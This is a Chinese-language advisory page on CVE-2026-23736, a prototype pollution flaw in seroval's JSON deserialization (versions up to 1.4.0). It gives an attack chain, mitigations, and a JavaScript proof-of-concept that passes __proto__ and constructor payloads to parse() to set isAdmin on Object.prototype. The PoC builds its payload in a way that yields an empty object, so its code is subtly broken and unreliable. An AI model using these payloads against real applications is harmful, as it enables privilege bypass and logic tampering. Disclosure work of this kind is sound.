IPBUF安全漏洞报告
English
CVE-2026-23736 CVSS 7.3 高危

CVE-2026-23736: seroval库JSON反序列化原型污染漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23736
漏洞类型
原型污染
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
seroval

相关标签

原型污染JavaScript安全反序列化漏洞serovalCVE-2026-23736原型链污染输入验证不足高危漏洞

漏洞概述

seroval是一个用于JavaScript值字符串化的库,能够处理JSON.stringify无法处理的复杂数据结构。然而在1.4.0及以下版本中,由于在JSON反序列化过程中缺少正确的输入验证,攻击者可以通过构造恶意对象键(object keys)来污染JavaScript对象的原型链。该漏洞仅影响seroval的JSON反序列化功能,攻击者无需任何认证或用户交互即可利用此漏洞。虽然CVSS评分为7.3(高危),机密性、完整性和可用性影响均为低级别,但原型污染漏洞可能导致应用程序逻辑被篡改、拒绝服务或潜在的远程代码执行。此漏洞已于版本1.4.1中修复。

技术细节

seroval库在实现JSON.parse风格的反序列化功能时,直接将用户可控的输入作为对象键使用,而未对特殊属性名(如__proto__、constructor)进行过滤或验证。当反序列化包含恶意构造的对象键的JSON数据时,这些键会被直接赋值给目标对象,从而允许攻击者修改对象的原型属性。具体来说,攻击者可以通过在JSON数据中插入形如{"__proto__": {"isAdmin": true}}的结构,使得在反序列化过程中将isAdmin属性添加到Object.prototype上,影响所有对象实例。此类原型污染可被用于绕过安全检查、篡改应用程序逻辑或触发进一步的客户端攻击。由于该库常用于SSR框架、状态管理库等场景,因此前端应用和Node.js服务端应用都可能受到影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用了seroval库(版本≤1.4.0)进行JSON数据反序列化,通常通过代码审计或依赖分析发现
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含特殊对象键(如__proto__、constructor)的JSON数据,这些键在反序列化时会被用于修改Object.prototype或Function.prototype等全局原型对象
STEP 3
步骤3: 传输恶意数据
通过API请求、用户输入、配置文件或任何接受JSON数据并使用seroval解析的入口点,将恶意payload发送给目标服务器或客户端
STEP 4
步骤4: 触发反序列化
目标应用调用seroval的parse()或相关反序列化方法处理攻击者提供的JSON数据,恶意对象键被直接赋值到目标对象上
STEP 5
步骤5: 原型污染成功
由于__proto__等属性被解析器处理,Object.prototype被成功污染,isAdmin等属性被添加到全局原型链,影响所有后续创建的对象实例
STEP 6
步骤6: 后续攻击利用
攻击者利用污染后的原型链绕过身份验证(如检查user.isAdmin)、篡改业务逻辑、或通过污染toString、valueOf等内置方法触发XSS或其他客户端攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import { parse } from 'seroval'; // Malicious JSON payload that triggers prototype pollution const maliciousPayload = JSON.stringify({ "__proto__": { "isAdmin": true, "polluted": "prototype pollution successful" } }); try { // Parse the malicious JSON - this triggers prototype pollution const result = parse(maliciousPayload); console.log('Parsed result:', result); // Verify prototype pollution console.log('Pollution check:', Object.prototype.polluted); // Check if any plain object is affected const testObj = {}; console.log('Test object polluted:', testObj.polluted); console.log('Test object isAdmin:', testObj.isAdmin); } catch (e) { console.error('Parse error:', e.message); } // Another exploitation vector with constructor pollution const constructorPayload = JSON.stringify({ "constructor": { "prototype": { "exec": "malicious_code" } } }); const result2 = parse(constructorPayload); console.log('Constructor pollution:', Object.constructor.prototype.exec);

影响范围

seroval <= 1.4.0

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 在调用seroval解析之前,对JSON字符串进行预处理,使用正则表达式移除或替换__proto__、constructor等危险字符串;2) 使用Object.seal()或Object.freeze()锁定Object.prototype;3) 在应用层实施额外的输入验证逻辑;4) 限制使用seroval处理来自不可信源的JSON数据;5) 部署WAF规则过滤包含原型污染特征的请求。建议尽快升级到官方修复版本1.4.1。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表